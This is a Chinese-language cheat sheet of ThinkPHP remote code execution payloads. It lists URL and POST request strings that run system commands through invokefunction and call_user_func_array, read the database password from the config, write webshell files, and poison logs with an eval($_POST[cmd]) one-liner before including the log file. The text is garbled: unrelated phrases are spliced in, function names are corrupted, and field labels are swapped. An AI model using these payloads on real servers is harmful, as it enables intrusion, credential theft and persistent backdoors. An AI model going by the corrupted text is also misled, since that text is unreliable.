thinkPHP命令执⾏漏洞
thinkPHP中反斜杠的作⽤是类库\命名空间
命令执⾏的姿势
tomb sweeping day通过反射invokefunction调⽤call_ur_func_array⽅法,call_ur_func_array函数接受两个参数,第⼀个为函数名,第⼆个为函数参数数组,如下所⽰,通过call_ur_func_array函数调⽤system执⾏whoami函数
萌猫snoopy
s=index/think\app/invokefunction&function=call_ur_func_array&vars[0]=system&vars[1][]=whoami
执⾏php代码keep on
s=index/\think\Request/input&filter=phpinfo&data=1
获取当前数据库名称
s=index/think\config/get&name=databa.hostname
获取当前数据库密码
s=index/think\config/get&name=databa.password
toko执⾏php代码
s=index/\think\view\driver\Php/display&content=<php%20phpinfo();>
执⾏php代码
s=index/\think\app/invokefunction&function=call_ur_func_array&vars[0]=phpinfo&vars[1][]=1
执⾏php代码
2019考研s=index/\think\app/invokefunction&function=call_ur_func_array&vars[0]=system&vars[1][]=id
执⾏php代码口蜜腹剑
s=index/\think\Container/invokefunction&function=call_ur_func_array&vars[0]=phpinfo&vars[1][]=1
执⾏php代码
s=index/\think\Container/invokefunction&function=call_ur_func_array&vars[0]=system&vars[1][]=id
getshell的姿势
写⼊getshell (file_put_contents应该也⾏)
s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<php%20phpinfo();>
使⽤echo写⼊shell
s=/index/\think\app/invokefunction&function=call_ur_func_array&vars[0]=asrt&vars[1][]=copy('','test.php')
jack and the beanstalk⼀种新的⽅法
先判断以下代码是否能正常回显
使⽤post⽅法请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_ur_func&get[]=phpinfo
写⼊shell到⽇志中
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=call_ur_func&rver[]=-1&get[]=<?php eval($_POST[cmd]); ?>
使⽤⽂件包含将⽇志⽂件可当作php⽂件进⾏执⾏(注意⽇志⽂件路径和名称)
post请求
请求路径:index.php?s=captcha
请求实体:_method=__construct&method=get&filter[]=think\__include_file&rver[]=-1&get[]=./runtime/log/201905/04.log感恩的演讲稿
通过⼀句话copy新⼀句话⽂件(echo)
post请求
请求实体:index.php?s=captcha
one way or another
磋商什么意思请求路径:_method=__construct&method=get&filter[]=think\__include_file&rver[]=-1&get[]=./runtime/log/201905/04.log&cmd=echo copy("","/web绝对路径/2.php");